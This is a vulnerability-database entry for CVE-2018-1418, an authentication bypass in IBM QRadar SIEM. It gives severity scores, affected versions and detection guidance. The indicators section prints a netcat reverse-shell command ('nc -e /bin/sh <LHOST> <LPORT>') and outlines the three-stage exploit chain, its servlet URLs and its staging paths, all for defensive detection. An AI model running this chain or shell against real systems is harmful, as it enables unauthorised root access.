cbcvebase.
CVE-2018-1418
published 2018-04-26

CVE-2018-1418: IBM Security QRadar SIEM 7.2 and 7.3 could allow a user to bypass authentication which could lead to code execution. IBM X-Force ID: 138824.

PriorityP273high8.8CVSS 3.0
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
51.38%
98.9th percentile
IBM Security QRadar SIEM 7.2 and 7.3 could allow a user to bypass authentication which could lead to code execution. IBM X-Force ID: 138824.

Affected

23 ranges
VendorProductVersion rangeFixed in
ibmqradar_security_information_and_event_manager——
ibmqradar_security_information_and_event_manager——
ibmqradar_security_information_and_event_manager——
ibmqradar_security_information_and_event_manager>= 7.2.0 < 7.2.87.2.8
ibmsecurity_qradar_siem——
ibmsecurity_qradar_siem——
msrcazl3_patch_2.7.6-9_on_azure_linux_3.0——
msrccbl2_patch_2.7.6-7_on_cbl_mariner_2.0——
msrccbl_mariner_1.0_arm——
msrccbl_mariner_1.0_x64——
msrccbl_mariner_2.0_arm——
msrccbl_mariner_2.0_x64——
msrccm1_patch_2.7.6-7_on_cbl_mariner_1.0——
msrcpatch-2.7.6-7.cm1.aarch64.rpm_on_cbl_mariner_1.0_arm——
msrcpatch-2.7.6-7.cm1.x86_64.rpm_on_cbl_mariner_1.0_x64——
msrcpatch-2.7.6-7.cm2.aarch64.rpm_on_cbl_mariner_2.0_arm——
msrcpatch-2.7.6-7.cm2.x86_64.rpm_on_cbl_mariner_2.0_x64——
msrcpatch-2.7.6-9.azl3.aarch64.rpm_on_azure_linux_3.0_arm——
msrcpatch-2.7.6-9.azl3.x86_64.rpm_on_azure_linux_3.0_x64——
msrcpatch-debuginfo-2.7.6-7.cm1.aarch64.rpm_on_cbl_mariner_1.0_arm——
msrcpatch-debuginfo-2.7.6-7.cm1.x86_64.rpm_on_cbl_mariner_1.0_x64——
msrcpatch-debuginfo-2.7.6-7.cm2.aarch64.rpm_on_cbl_mariner_2.0_arm——
msrcpatch-debuginfo-2.7.6-7.cm2.x86_64.rpm_on_cbl_mariner_2.0_x64——

Detection & IOCsextracted from sources · hover to see the quote

url/ForensicsAnalysisServlet/↗
cookieSEC=<uuid>; QRadarCSRF=<uuid>↗
url/ForensicsAnalysisServlet/?action=setSecurityTokens&forensicsManagedHostIps=<ip>↗
path/store/configservices/staging/updates/↗
path/opt/qradar/conf/nva.conf↗
path/opt/qradar/support/changePasswd.sh↗
command/usr/bin/nc -e /bin/sh <LHOST> <LPORT>↗
port443↗
port4448↗
  • →Detect unauthenticated POST requests to /ForensicsAnalysisServlet/ with query parameter action=setSecurityTokens — this is the authentication bypass (stage 1) of the exploit chain. ↗
  • →Alert on HTTP 403 responses from /ForensicsAnalysisServlet/ — the Metasploit module uses this as a positive detection signal that the target is vulnerable. ↗
  • →Monitor for new or modified files written under /store/configservices/staging/updates/ by the 'nobody' user — this is where the stage-2 payload is written for subsequent root execution. ↗
  • →Watch for outbound netcat reverse-shell connections spawned by QRadar processes, particularly /usr/bin/nc -e /bin/sh, which is the stage-2 reverse shell command. ↗
  • →The exploit chain requires three CVEs chained together (CVE-2016-9722, CVE-2018-1418, CVE-2018-1612); correlate alerts across all three for high-confidence detection. ↗
  • →The Forensics web application code is present and exploitable even when the feature is disabled (e.g., QRadar Community Edition) — do not rely on feature-disable as a mitigation for detection scoping. ↗
  • ·Vulnerable version scope is confirmed by IBM: QRadar 7.2.x up to 7.2.8 patch 12 and 7.3.x up to 7.3.1 patch 3. ↗
  • ·The Metasploit module only supports generic/shell_reverse_tcp due to payload constraints imposed by the exploit chain. ↗
  • ·Stage 3 root execution relies on a QRadar scheduled task; the attacker must wait up to ~80 seconds after stage 2 for the root shell to arrive. ↗

CVSS provenance

nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vendor_msrc7.8HIGH
vendor_redhat7.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.